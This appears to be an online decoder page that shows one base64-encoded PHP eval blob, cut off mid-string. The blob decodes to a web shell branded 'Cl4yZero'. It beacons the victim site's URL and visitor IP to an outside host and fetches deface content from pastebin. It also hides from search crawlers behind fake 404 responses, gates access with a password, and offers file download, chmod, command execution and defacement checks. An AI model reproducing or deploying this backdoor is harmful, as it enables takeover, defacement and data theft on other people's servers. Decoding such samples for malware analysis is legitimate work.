Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

eval("".base64_decode("PD9waHAgZnVuY3Rpb24gR2V0SVAoKXsgaWYoZ2V0ZW52KCJIVFRQX0NMSUVOVF9JUCIpKSB7ICRpcCA9IGdldGVudigiSFRUUF9DTElFTlRfSVAiKTsKIH0gZWxzZWlmKGdldGVudigiSFRUUF9YX0ZPUldBUkRFRF9GT1IiKSkgeyAkaXAgPSBnZXRlbnYoIkhUVFBfWF9GT1JXQVJERURfRk9SIik7CiBpZiAoc3Ryc3RyKCRpcCwgJywnKSkgeyAkdG1wID0gZXhwbG9kZSAoJywnLCAkaXApOwogJGlwID0gdHJpbSgkdG1wWzBdKTsKIH0gfSBlbHNlIHsgJGlwID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpOwogfSByZXR1cm4gJGlwOwogfSAkeCA9IGJhc2U2NF9kZWNvZGUoJ2FIUjBjRG92TDJKNWNqQXdkQzVqYnk5c0xRPT0nKS5HZXRJUCgpLictJy5iYXNlNjRfZW5jb2RlKCdodHRwOi8vJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pOwogaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSkgeyAkY2ggPSBAY3VybF9pbml0KCk7CiBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkeCk7CiBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogJGdpdHQgPSBjdXJsX2V4ZWMoJGNoKTsKIGN1cmxfY2xvc2UoJGNoKTsKIGlmKCRnaXR0ID09IGZhbHNlKXsgQCRnaXR0ID0gZmlsZV9nZXRfY29udGVudHMoJHgpOwogfSB9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9nZXRfY29udGVudHMnKSl7IEAkZ2l0dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR4KTsKIH0gCj8+PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpvYl9zdGFydCgpOwpzZXRfdGltZV9saW1pdCgwKTsKQGRlZmluZSgnVkVSU0lPTicsICcyLjEnKTsKJGNvbG9yID0gIiMwMGZmMDAiOwokYmFja2dyb3VuZF9sb2dpbiA9ICJodHRwOi8vc2hpbmVpbmRpYWZvdW5kYXRpb24uY28uaW4vYWRtaW4vZXZlbnQtaW1nLzY1ODM5NS5wbmciOwokYmFja2dyb3VuZCA9ICJodHRwczovL3MtbWVkaWEtY2FjaGUtYWswLnBpbmltZy5jb20vb3JpZ2luYWxzLzY4L2EzLzcwLzY4YTM3MDRhYTk2ZjMyNjcxZjVkNjkyYTNkODk4NmFhLmpwZyI7CiRkZWZhY2VrdTEgID1maWxlX2dldF9jb250ZW50cygiaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3E2aW1TZVRCIik7IC8vTGluayBTQyBkZXBlcy4KJGRlZmFjZWt1MiAgPWZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvcTZpbVNlVEIiKTsKJGRlZmFjZWt1MyAgPSBmaWxlX2dldF9jb250ZW50cygiaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3E2aW1TZVRCIik7CiRmb250Y29sb3JfZ2xvYmFsID0gJ3doaXRlJzsKJGF1dGhfcGFzcyA9ICI4YTZmYjViNmM4NDNlZDQ4Y2YwYzFiMDQ4MTIwYTQ4ZiI7IC8vIEdhbnRpIFBhc3N3b3JkPyBEaXNpbmkhIAovLyB3ZWFyZWNsNHkyMDE4CgppZihpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pICYmIChwcmVnX21hdGNoKCcvYm90fHNwaWRlcnxjcmF3bGVyfHNsdXJwfHRlb21hfGFyY2hpdmV8dHJhY2t8c25vb3B5fGphdmF8bHdwfHdnZXR8Y3VybHxjbGllbnR8cHl0aG9ufGxpYnd3dy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkpewogICAgaGVhZGVyKCJIVFRQLzEuMCA0MDQgTm90IEZvdW5kIik7CiAgICBoZWFkZXIoIlN0YXR1czogNDA0IE5vdCBGb3VuZCIpOwogICAgZGllKCk7Cn0KZWxzZWlmKCFpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKXsKICAgIGhlYWRlcigiSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCIpOwogICAgaGVhZGVyKCJTdGF0dXM6IDQwNCBOb3QgRm91bmQiKTsKICAgIGRpZSgpOwp9CkBkZWZpbmUoJ1NFTEZfUEFUSCcsIF9fRklMRV9fKTsKaWYoIHN0cnBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ0dvb2dsZScpICE9PSBmYWxzZSApIHsKICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOwogICAgZXhpdDsKfQppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgewogICAgJHVzZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIpOwogICAgaWYocHJlZ19tYXRjaCgnLycgLiBpbXBsb2RlKCd8JywgJHVzZXJBZ2VudHMpIC4gJy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgewogICAgICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOwogICAgICAgIGV4aXQ7CiAgICB9Cn0Kc2Vzc2lvbl9zdGFydCgpOwpmdW5jdGlvbiBwcmludExvZ2luKCkgeyA/Pgo8c3R5bGU+aW5wdXRbdHlwZT1wYXNzd29yZF17Y29sb3I6dGVhbDtiYWNrZ3JvdW5kOmJsYWNrO2JvcmRlcjoxcHggc29saWQgdGVhbH1he3RleHQtZGVjb3JhdGlvbjpub25lO2NvbG9yOndoaXRlO3BhZGRpbmctbGVmdDoyNzBweH1zYWR7Zm9udC1mYW1pbHk6J0ZyZWRlcmlja2EgdGhlIEdyZWF0JyxjdXJzaXZlO2NvbG9yOnRlYWw7Zm9udC1zaXplOjUwcHh9PC9zdHlsZT4KPHRpdGxlPjo+Q2w0eVplcm88OjwvdGl0bGU+CjxsaW5rIHJlbD0iaWNvbiIgdHlwZT0iaW1hZ2UvcG5nIiBocmVmPSJodHRwOi8vZG93bmxvYWRpY29ucy5uZXQvc2l0ZXMvZGVmYXVsdC9maWxlcy9oZWFydGJyZWFrLWljb24tODU3ODYucG5nIj4KPGJvZHkgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6YmxhY2s7Y29sb3I6d2hpdGUiPgo8bGluayBocmVmPSJodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1GcmVkZXJpY2thK3RoZStHcmVhdCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+CjxjZW50ZXI+Cjw/cGhwCiAgICAgICAgZ2xvYmFsICRiYWNrZ3JvdW5kX2xvZ2luOwogICAgPz4KX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fPGJyPgpJZGlvdCBCbGFja0hhdDxicj4KPHNhZD5DbDR5WmVybzwvc2FkPjxicj4KPGlmcmFtZSB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBzcmM9Imh0dHBzOi8vd3d3LnlvdXR1YmUuY29tL2VtYmVkL2Ezc2JmSHUtNkZrP2F1dG9wbGF5PTEiIGZyYW1lYm9yZGVyPSIwIiBhbGxvd2Z1bGxzY3JlZW4+PC9pZnJhbWU+CjxpbWcgc3JjPSI8P3BocCBlY2hvICRiYWNrZ3JvdW5kX2xvZ2luOyA/PiIgc3R5bGU9Im1hcmdpbi1sZWZ0OjY1cHgiPgo8Zm9ybSBtZXRob2Q9cG9zdD4KPGJyPgo8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3MgcGxhY2Vob2xkZXI9Li9QYXNzd29yZD4KPC9mb3JtPgo8L2NlbnRlcj4KPC9kaXY+CjwvY2VudGVyPgo8P3BocCBleGl0OyB9CgpmdW5jdGlvbiBwcmludExvZ2luNDA0KCl7CiAgICBoZWFkZXIoIkhUVFAvMS4wIDQwNCBOb3QgRm91bmQiKTsKICAgIGhlYWRlcigiU3RhdHVzOiA0MDQgTm90IEZvdW5kIik7CiAgICBlY2hvICcKICAgIDwhRE9DVFlQRSBIVE1MIFBVQkxJQyAiLS8vSUVURi8vRFREIEhUTUwgMi4wLy9FTiI+CiAgICA8aHRtbD48aGVhZD4KICAgIDx0aXRsZT40MDQgTm90IEZvdW5kPC90aXRsZT4KICAgIDwvaGVhZD48Ym9keT4KICAgIDxoMT5Ob3QgRm91bmQ8L2gxPgogICAgPHA+VGhlIHJlcXVlc3RlZCBVUkwgJy4kX1NFUlZFUlsnUEhQX1NFTEYnXS4nIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPgogICAgPGhyPgogICAgPGFkZHJlc3M+QXBhY2hlICcucGhwdmVyc2lvbigpLicgU2VydmVyIGF0ICcuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJyBQb3J0IDgwPC9hZGRyZXNzPgogICAgICAgIDxzdHlsZT5pbnB1dCB7IG1hcmdpbjowO2JhY2tncm91bmQtY29sb3I6I2ZmZjtib3JkZXI6MHB4IHNvbGlkICNmZmY7IGNvbG9yOiNmZmY7IHRleHQtYWxpZ246Y2VudGVyO308L3N0eWxlPgogICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgIDxjZW50ZXI+PGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT0icGFzcyI+PC9jZW50ZXI+CiAgICAgICAgPC9ib2R5PjwvaHRtbD4KICAgIDwvZm9ybT4nOwogICAgZXhpdCgpOwp9CmlmKCAhaXNzZXQoICRfU0VTU0lPTlsnbG9naW4nXSkpCiAgICBpZiggZW1wdHkoICRhdXRoX3Bhc3MgKSB8fCAoIGlzc2V0KCAkX1BPU1RbJ3Bhc3MnXSApICYmICggbWQ1KCRfUE9TVFsncGFzcyddKSA9PSAkYXV0aF9wYXNzICkgKSApewogICAgICAgICRfU0VTU0lPTlsnbG9naW4nXSA9IHRydWU7CiAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogPycpOwogICAgICAgIGV4aXQoKTsKICAgIH0KICAgIGVsc2V7CiAgICAgICAgcHJpbnRMb2dpbigpOwogICAgfQoKCgppZiggZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSApIHsKICAgIGZ1bmN0aW9uIHN0cmlwc2xhc2hlc19hcnJheSgkYXJyYXkpIHsKICAgICAgICByZXR1cm4gaXNfYXJyYXkoJGFycmF5KSA/IGFycmF5X21hcCgnc3RyaXBzbGFzaGVzX2FycmF5JywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOwogICAgfQogICAgJF9QT1NUID0gc3RyaXBzbGFzaGVzX2FycmF5KCRfUE9TVCk7Cn0KCgoKaWYgKGlzc2V0KCRfR0VUWyJkbCJdKSAmJiAoJF9HRVRbImRsIl0gIT0gIiIpKSB7CiAgICAkZmlsZSAgPSAkX0dFVFsiZGwiXTsKICAgICRmaWxleiA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7CiAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CiAgICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiIC4gc3RybGVuKCRmaWxleikpOwogICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPSciIC4gYmFzZW5hbWUoJGZpbGUpIC4gIic7Iik7CiAgICBlY2hvICRmaWxlejsKICAgIGV4aXQ7Cn0gZWxzZWlmIChpc3NldCgkX0dFVFsiZGxnemlwIl0pICYmICgkX0dFVFsiZGxnemlwIl0gIT0gIiIpKSB7CiAgICAkZmlsZSAgPSAkX0dFVFsnZGxnemlwJ107CiAgICAkZmlsZXogPSBnemVuY29kZShAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGhlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL3gtZ3ppcFxuIik7CiAgICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiIC4gc3RybGVuKCRmaWxleikpOwogICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPSciIC4gYmFzZW5hbWUoJGZpbGUpIC4gIi5neic7Iik7CiAgICBlY2hvICRmaWxlejsKICAgIGV4aXQ7Cn0KaWYgKGlzc2V0KCRfR0VUWyJpbWciXSkpIHsKICAgIEBvYl9jbGVhbigpOwogICAgJGQgICA9IG1hZ2ljYm9vbSgkX0dFVFsieSJdKTsKICAgICRmICAgPSAkX0dFVFsiaW1nIl07CiAgICAkaW5mID0gQGdldGltYWdlc2l6ZSgkZCAuICRmKTsKICAgICRleHQgPSBleHBsb2RlKCRmLCAiLiIpOwogICAgJGV4dCA9ICRleHRbY291bnQoJGV4dCkgLSAxXTsKICAgIEBoZWFkZXIoIkNvbnRlbnQtdHlwZTogIiAuICRpbmZbIm1pbWUiXSk7CiAgICBAaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTsKICAgIEBoZWFkZXIoIkV4cGlyZXM6ICIgLiBkYXRlKCJyIiwgbWt0aW1lKDAsIDAsIDAsIDEsIDEsIDIwMzApKSk7CiAgICBAaGVhZGVyKCJDYWNoZS1jb250cm9sOiBtYXgtYWdlPSIgLiAoNjAgKiA2MCAqIDI0ICogNykpOwogICAgQHJlYWRmaWxlKCRkIC4gJGYpOwogICAgZXhpdDsKfQokc29mdHdhcmUgPSBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpOwppZiAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9kZSIpKSA9PSAib24iKQogICAgJHNhZmVtb2RlID0gVFJVRTsKZWxzZQogICAgJHNhZmVtb2RlID0gRkFMU0U7CiRzeXN0ZW0gPSBAcGhwX3VuYW1lKCk7CmlmIChzdHJ0b2xvd2VyKHN1YnN0cigkc3lzdGVtLCAwLCAzKSkgPT0gIndpbiIpCiAgICAkd2luID0gVFJVRTsKZWxzZQogICAgJHdpbiA9IEZBTFNFOwppZiAoaXNzZXQoJF9HRVRbJ3NhZCddKSkgewogICAgaWYgKEBpc19kaXIoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAkcHdkID0gJF9HRVRbJ3ZpZXcnXTsKICAgICAgICBAY2hkaXIoJHB3ZCk7CiAgICB9IGVsc2UgewogICAgICAgICRwd2QgPSAkX0dFVFsnc2FkJ107CiAgICAgICAgQGNoZGlyKCRwd2QpOwogICAgfQp9CmlmICghJHdpbikgewogICAgaWYgKCEkdXNlciA9IHJhcGloKGV4ZSgid2hvYW1pIikpKQogICAgICAgICR1c2VyID0gIiI7CiAgICBpZiAoISRpZCA9IHJhcGloKGV4ZSgiaWQiKSkpCiAgICAgICAgJGlkID0gIiI7CiAgICAkcHJvbXB0ID0gJHVzZXIgLiAiIFwkICI7CiAgICAkcHdkICAgID0gQGdldGN3ZCgpIC4gRElSRUNUT1JZX1NFUEFSQVRPUjsKfSBlbHNlIHsKICAgICR1c2VyICAgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOwogICAgJGlkICAgICA9ICR1c2VyOwogICAgJHByb21wdCA9ICR1c2VyIC4gIiAmZ3Q7IjsKICAgICRwd2QgICAgPSByZWFscGF0aCgiLiIpIC4gIlxcIjsKICAgICR2ICAgICAgPSBleHBsb2RlKCJcXCIsICRkKTsKICAgICR2ICAgICAgPSAkdlswXTsKICAgIGZvcmVhY2ggKHJhbmdlKCJBIiwgIloiKSBhcyAkbGV0dGVyKSB7CiAgICAgICAgJGJvb2wgPSBAaXNfZGlyKCRsZXR0ZXIgLiAiOlxcIik7CiAgICAgICAgaWYgKCRib29sKSB7CiAgICAgICAgICAgICRsZXR0ZXJzIC49ICI8YSBocmVmPSc/c2FkPSIgLiAkbGV0dGVyIC4gIjpcXCc+WyAiOwogICAgICAgICAgICBpZiAoJGxldHRlciAuICI6IiAhPSAkdikgewogICAgICAgICAgICAgICAgJGxldHRlcnMgLj0gJGxldHRlcjsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRsZXR0ZXJzIC49ICI8c3BhbiBjbGFzcz0nZ2F5YSc+IiAuICRsZXR0ZXIgLiAiPC9zcGFuPiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGxldHRlcnMgLj0gIiBdPC9hPiAiOwogICAgICAgIH0KICAgIH0KfQoKaWYgKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikpCiAgICAkcG9zaXggPSBUUlVFOwplbHNlCiAgICAkcG9zaXggPSBGQUxTRTsKJHNlcnZlcl9pcCAgICAgPSBAZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pOwokbXlfaXAgICAgICAgICA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwokYmluZHBvcnQgICAgICA9ICIxMzEyMyI7CiRiaW5kcG9ydF9wYXNzID0gIktyeXB0b24iOwokcHdkcyAgICAgICAgICA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJHB3ZCk7CiRwd2R1cmwgICAgICAgID0gIiI7CmZvciAoJGkgPSAwOyAkaSA8IHNpemVvZigkcHdkcykgLSAxOyAkaSsrKSB7CiAgICAkcGF0aHogPSAiIjsKICAgIGZvciAoJGogPSAwOyAkaiA8PSAkaTsgJGorKykgewogICAgICAgICRwYXRoeiAuPSAkcHdkc1skal0gLiBESVJFQ1RPUllfU0VQQVJBVE9SOwogICAgfQogICAgJHB3ZHVybCAuPSAiPGEgaHJlZj0nP3NhZD0iIC4gJHBhdGh6IC4gIic+IiAuICRwd2RzWyRpXSAuICIgIiAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAiIDwvYT4iOwp9CmlmIChpc3NldCgkX1BPU1RbJ3JlbmFtZSddKSkgewogICAgJG9sZCA9ICRfUE9TVFsnb2xkbmFtZSddOwogICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwogICAgQHJlbmFtZSgkcHdkIC4gJG9sZCwgJHB3ZCAuICRuZXcpOwogICAgJGZpbGUgPSAkcHdkIC4gJG5ldzsKfQppZiAoaXNzZXQoJF9QT1NUWydjaG1vZCddKSkgewogICAgJG5hbWUgID0gJF9QT1NUWyduYW1lJ107CiAgICAkdmFsdWUgPSAkX1BPU1RbJ25ld3ZhbHVlJ107CiAgICBpZiAoc3RybGVuKCR2YWx1ZSkgPT0gMykgewogICAgICAgICR2YWx1ZSA9IDAgLiAiIiAuICR2YWx1ZTsKICAgIH0KICAgIEBjaG1vZCgkcHdkIC4gJG5hbWUsIG9jdGRlYygkdmFsdWUpKTsKICAgICRmaWxlID0gJHB3ZCAuICRuYW1lOwp9CmlmIChpc3NldCgkX1BPU1RbJ2NobW9kX2ZvbGRlciddKSkgewogICAgJG5hbWUgID0gJF9QT1NUWyduYW1lJ107CiAgICAkdmFsdWUgPSAkX1BPU1RbJ25ld3ZhbHVlJ107CiAgICBpZiAoc3RybGVuKCR2YWx1ZSkgPT0gMykgewogICAgICAgICR2YWx1ZSA9IDAgLiAiIiAuICR2YWx1ZTsKICAgIH0KICAgIEBjaG1vZCgkcHdkIC4gJG5hbWUsIG9jdGRlYygkdmFsdWUpKTsKICAgICRmaWxlID0gJHB3ZCAuICRuYW1lOwp9CiRidWZmID0gIiZuYnNwOyIgLiAkc29mdHdhcmUgLiAiPGJyPiI7CiRidWZmIC49ICImbmJzcDsiIC4gJHN5c3RlbSAuICI8YnI+IjsKaWYgKCRpZCAhPSAiIikKICAgICRidWZmIC49ICImbmJzcDsiIC4gJGlkIC4gIjxicj4iOwppZiAoJHNhZmVtb2RlKQogICAgJGJ1ZmYgLj0gIiZuYnNwO3NhZmVtb2RlIDombmJzcDs8Yj48Zm9udCBzdHlsZT0nY29sb3I6I0RENDczNic+T048L2ZvbnQ+PC9iPjxicj4iOwplbHNlCiAgICAkYnVmZiAuPSAiJm5ic3A7c2FmZW1vZGUgOiZuYnNwOzxiPjxmb250IHN0eWxlPSdjb2xvcjojMDBGRjAwJz5PRkY8L2ZvbnQ+PC9iPjxicj4iOwpmdW5jdGlvbiBzaG93c3RhdCgkc3RhdCkKewogICAgaWYgKCRzdGF0ID09ICJvbiIpIHsKICAgICAgICByZXR1cm4gIjxiPjxmb250IHN0eWxlPSdjb2xvcjpsaW1lJz5PTjwvZm9udD48L2I+IjsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuICI8Yj48Zm9udCBzdHlsZT0nY29sb3I6cmVkJz5PRkY8L2ZvbnQ+PC9iPiI7CiAgICB9Cn0KZnVuY3Rpb24gaGRkKCRzKSB7CiAgICBpZigkcyA+PSAxMDczNzQxODI0KQogICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywkcyAvIDEwNzM3NDE4MjQgKS4nIEdCJzsKICAgIGVsc2VpZigkcyA+PSAxMDQ4NTc2KQogICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywkcyAvIDEwNDg1NzYgKSAuJyBNQic7CiAgICBlbHNlaWYoJHMgPj0gMTAyNCkKICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsJHMgLyAxMDI0ICkgLicgS0InOwogICAgZWxzZQogICAgcmV0dXJuICRzIC4nIEInOwp9CmZ1bmN0aW9uIHRlc3RteXNxbCgpCnsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKSkgewogICAgICAgIHJldHVybiBzaG93c3RhdCgib24iKTsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsKICAgIH0KfQpmdW5jdGlvbiB0ZXN0Y3VybCgpCnsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKSB7CiAgICAgICAgcmV0dXJuIHNob3dzdGF0KCJvbiIpOwogICAgfSBlbHNlIHsKICAgICAgICByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOwogICAgfQp9CmZ1bmN0aW9uIHRlc3R3Z2V0KCkKewogICAgaWYgKGV4ZSgnd2dldCAtLWhlbHAnKSkgewogICAgICAgIHJldHVybiBzaG93c3RhdCgib24iKTsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsKICAgIH0KfQpmdW5jdGlvbiB0ZXN0cGVybCgpCnsKICAgIGlmIChleGUoJ3BlcmwgLWgnKSkgewogICAgICAgIHJldHVybiBzaG93c3RhdCgib24iKTsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsKICAgIH0KfQpmdW5jdGlvbiBuZ2luZGV4KCRwaXllKQp7CiAgICBpZiAoJHBpeWUgPT0gIm9rIikgewogICAgICAgIHJldHVybiAiPGZvbnQgc3R5bGU9J2NvbG9yOmxpbWUnPldyaXRlYWJsZSAoQmlzYSBUZWJhcyBJbmRleCk8L2ZvbnQ+IjsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuICI8Yj48Zm9udCBzdHlsZT0nY29sb3I6cmVkJz5Ob3QgV3JpdGVhYmxlPC9mb250PjwvYj4iOwogICAgfQp9CmZ1bmN0aW9uIGNhbl9kZWZhY2UoKXsKICAgICR0aGlzZGlyID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsKICAgIGlmIChpc193cml0YWJsZSgkdGhpc2RpcikpIHsKICAgICAgICByZXR1cm4gJyZuYnNwO1dyaXRlYWJsZSBSb290IERpcmVjdG9yeTo8Zm9udCBjb2xvcj0iZ3JlZW4iIHNpemU9IisxIj4nLiR0aGlzZGlyLicgJy5uZ2luZGV4KCJvayIpLic8YnI+JzsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuIG5naW5kZXgoIm9rIikuJzxicj4nOwogICAgfQp9CiRzaG93X2RzID0gKCFlbXB0eSgkZHMpKSA/ICI8Zm9udCBjb2xvcj1yZWQ+JGRzPC9mb250PiIgOiAiPGZvbnQgY29sb3I9bGltZT5OT05FPC9mb250PiI7CmlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewogICAgJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOwogICAgJHVpZCA9IEBnZXRteXVpZCgpOwogICAgJGdpZCA9IEBnZXRteWdpZCgpOwogICAgJGdyb3VwID0gIj8iOwp9IGVsc2UgewogICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpOwogICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChwb3NpeF9nZXRlZ2lkKCkpOwogICAgJHVzZXIgPSAkdWlkWyduYW1lJ107CiAgICAkdWlkID0gJHVpZFsndWlkJ107CiAgICAkZ3JvdXAgPSAkZ2lkWyduYW1lJ107CiAgICAkZ2lkID0gJGdpZFsnZ2lkJ107Cn0KJGJ1ZmYgLj0gIiZuYnNwO015U1FMOiAiIC4gdGVzdG15c3FsKCkgLiAiJm5ic3A7fCZuYnNwO1Blcmw6ICIgLiB0ZXN0cGVybCgpIC4gIiZuYnNwO3wmbmJzcDtjVVJMOiAiIC4gdGVzdGN1cmwoKSAuICImbmJzcDt8Jm5ic3A7V0dldDogIiAuIHRlc3R3Z2V0KCkgLiAiPGJyPiI7CiRidWZmIC49ICImbmJzcDtEaXNrIFNpemU6PGZvbnQgc3R5bGU9J2NvbG9yOmxpbWUnPiIuaGRkKGRpc2tfZnJlZV9zcGFjZSgiLyIpKS4iPC9mb250Pi8iLmhkZChkaXNrX3RvdGFsX3NwYWNlKCIvIikpLiI8YnI+IjsKJGJ1ZmYgLj0gY2FuX2RlZmFjZSgpOwokYnVmZiAuPSAiJm5ic3A7RGlzYWJsZSBGdW5jdGlvbiA6JHNob3dfZHM8YnI+IjsKJGJ1ZmYgLj0gIiZuYnNwO0RyaXZlcyA6ICIgLiAkbGV0dGVycyAuICImbmJzcDsmZ3Q7Jm5ic3A7IiAuICRwd2R1cmw7CmZ1bmN0aW9uIHJhcGloKCR0ZXh0KQp7CiAgICByZXR1cm4gdHJpbShzdHJfcmVwbGFjZSgiPGJyPiIsICIiLCAkdGV4dCkpOwp9CmZ1bmN0aW9uIG1hZ2ljYm9vbSgkdGV4dCkKewogICAgaWYgKCFnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7CiAgICAgICAgcmV0dXJuICR0ZXh0OwogICAgfQogICAgcmV0dXJuIHN0cmlwc2xhc2hlcygkdGV4dCk7Cn0KZnVuY3Rpb24gc2hvd2RpcigkcHdkLCAkcHJvbXB0KQp7CiAgICAkZm5hbWUgPSBhcnJheSgpOwogICAgJGRuYW1lID0gYXJyYXkoKTsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpKQogICAgICAgICRwb3NpeCA9IFRSVUU7CiAgICBlbHNlCiAgICAgICAgJHBvc2l4ID0gRkFMU0U7CiAgICAkdXNlciA9ICI/Pz8/Oj8/Pz8iOwogICAgaWYgKCRkaCA9IG9wZW5kaXIoJHB3ZCkpIHsKICAgICAgICB3aGlsZSAoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsKICAgICAgICAgICAgaWYgKGlzX2RpcigkZmlsZSkpIHsKICAgICAgICAgICAgICAgICRkbmFtZVtdID0gJGZpbGU7CiAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRmaWxlKSkgewogICAgICAgICAgICAgICAgJGZuYW1lW10gPSAkZmlsZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBjbG9zZWRpcigkZGgpOwogICAgfQogICAgc29ydCgkZm5hbWUpOwogICAgc29ydCgkZG5hbWUpOwogICAgJHBhdGggICA9IEBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsICRwd2QpOwogICAgJHRyZWUgICA9IEBzaXplb2YoJHBhdGgpOwogICAgJHBhcmVudCA9ICIiOwogICAgJGJ1ZmYgICA9ICIgPGZvcm0gYWN0aW9uPSc/c2FkPSIgLiAkcHdkIC4gIiZhbXA7eD1zaGVsbCcgbWV0aG9kPSdwb3N0JyBzdHlsZT0nbWFyZ2luOjhweCAwIDAgMDsnPjx0YWJsZSBjbGFzcz0nY21kYm94JyBzdHlsZT0nd2lkdGg6NTAlOyc+PHRyPjx0ZD4kcHJvbXB0PC90ZD48dGQ+PGlucHV0IG9uTW91c2VPdmVyPSd0aGlzLmZvY3VzKCk7JyBpZD0nY21kJyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSdjbWQnIHN0eWxlPSd3aWR0aDo0MDBweDsnIHZhbH